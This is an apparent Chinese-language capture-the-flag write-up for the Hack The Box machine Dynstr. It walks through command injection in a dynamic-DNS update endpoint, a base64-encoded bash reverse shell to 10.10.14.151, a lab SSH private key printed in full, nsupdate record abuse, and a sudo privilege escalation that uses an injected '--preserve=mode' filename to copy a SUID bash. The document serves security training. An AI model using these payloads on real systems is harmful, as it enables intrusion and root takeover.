开始第一步扫描端口
nmap -sC -sV 10.10.10.244
有80端口,访问,是一个有关DNS的页面
在浏览页面的时候,发现了有趣的东西
几个域名,账户和密码。因为开了22端口,尝试ssh连接,无果。
打开域名网站看看,无法访问,
添加进hosts文件
打开hosts文件
/etc/hosts
添加
10.10.10.244 no-ip.htb
再次访问
爆出来这个目录,访问空白页面
http://no-ip.htb/nic/
在这个目录上接着爆
http://no-ip.htb/nic/update
然后根据目录和页面的显示的去谷歌搜索
发现了有用的关键信息
这里有一个http示例
Authorization: Basic [base64-ENCODED-USERNAME:PASSWORD-PAIR]
联想到刚刚页面上的账户和密码,这应该就是给我们用的
使用burp抓包
Authorization: Basic ZHluYWRuczpzbmRhbnlk
它返回了一个值,然后又去搜索了一下,总的来说
当您的更新客户端检测到 IP 地址更改时,它应该向我们的服务器发出更新请求。此页面详细介绍了如何提交动态 dns 更新请求
完整的请求应该要加更新的主机域名和ip 【更新的主机域名 就是要加一个不存在的子域名】
这里能够正确的执行了,那我们的利用点在这,就是在这能不能执行命令,fuzz测试
能执行命令
$(id)"
然后弹回shell
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.151/6666 0>&1' #bash弹回shell代码 L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1MS82NjY2ICAwPiYxJw== #上面代码base64加密
echo+bash的base64加密代码+|+base64+-d+|+bash #弹回shell完整命令 echo+L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE1MS82NjY2ICAwPiYxJw==+|+base64+-d+|+bash
nc监听
nc -lvnp 6666
弹回会话
看一下密码情况
cat /etc/passwd
发现了两个用户
dyna bindmgr
进入用户目录,看看有没有可以利用的东西,发现了user.txt和support-case-C62796521
进入support-case-C62796521查看
这个文件中存在ssh私钥
-----BEGIN OPENSSH PRIVATE KEY-----nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcnnNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+FnL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdnnUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbXnCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1BqznuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7anXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PnZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvkn+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWsn4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVqnxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUDnPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31knobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2lnu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtSnTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6AnTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuEnBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMvnC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyXnWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDtnU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZnb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoGnjGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==n-----END OPENSSH PRIVATE KEY-----n
复制下来,用ssh连接,结果连不上
但是它说权限太open了,我就给它降权,还是连不上。但是没了 too open的提示了,说明还有其他的条件在限制,不然按道理应该能连的。
chmod 000 id_rsa
在进入的目录中,有一个update文件
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
发现了 nsupdate -k /etc/bind/ddns.key
nsupdate是一个动态DNS更新工具
https://linux.die.net/man/8/nsupdate
也许我们不能ssh的原因是我们的 IP 不在区域中,所以我们必须添加它。我们可以使用 NSUPDATE 命令更新区域
进入/etc/bind,发现了两个key
尝试ddns.key 没用,infra.key才有用。而且这个更新DNS命令,所以一样的,你得添加一个新的子域名,而且得用dyns.htb域名,不能用no-ip。要想ssh能够连接,得添加两个解析
A 记录 域名解析为ip地址
PTR记录 ip地址解析为域名【PTR的ip地址要反过来写】
www-data@dynstr:/etc/bind$ nsupdate -k infra.key nsupdate -k infra.key update add xxx.infra.dyna.htb 86400 A 10.10.14.151 send update add 151.14.10.10.in-addr.arpa 300 PTR xxx.infra.dyna.htb send
然后我们再使用ssh连接,还是不能连接,但是提示的是权限open,降权
chmod 000 id_rsa
额,直接复制的ssh私钥格式不对,得用echo
echo "-----BEGIN OPENSSH PRIVATE KEY-----nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcnnNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+FnL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdnnUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbXnCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1BqznuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7anXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PnZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvkn+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWsn4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVqnxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUDnPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31knobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2lnu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtSnTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6AnTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuEnBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMvnC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyXnWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDtnU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZnb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoGnjGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==n-----END OPENSSH PRIVATE KEY-----n" > id_rsa
然后降权,就能连接了
然后sudo -l 寻找高权限文件提权
sudo -l
cat /usr/local/bin/bindmgr.sh #通过阅读文件,发现了提权的点
这个文件的运作过程是
首先判断 .version文件是否存在,如果该文件存在,它会创建一个 $BINDMGR_CONF 文件并将 .version 文件复制到 /etc/bind/named.bindmgr/ 目录。
cd /dev/shm echo "1">.version cp /bin/bash . chmod +s /dev/shm/bash cp /usr/local/bin/bindmgr.sh bindmgr.sh echo "" > "--preserve=mode" sudo bindmgr.sh cd /etc/bind/named.bindmgr ./bash -p
/dev/shm #内存块方便操作 echo "1">.version #创建.version文件夹 cp /bin/bash . #复制管道 chmod +s /dev/shm/bash #给管道赋权 cp /usr/local/bin/bindmgr.sh bindmgr.sh #复制操作文件 echo "" > "--preserve=mode" #特殊设置,让文件再复制的过程中,把权限也复制过去 sudo bindmgr.sh #执行 ./bash -p #执行管道,此时以获得root权限



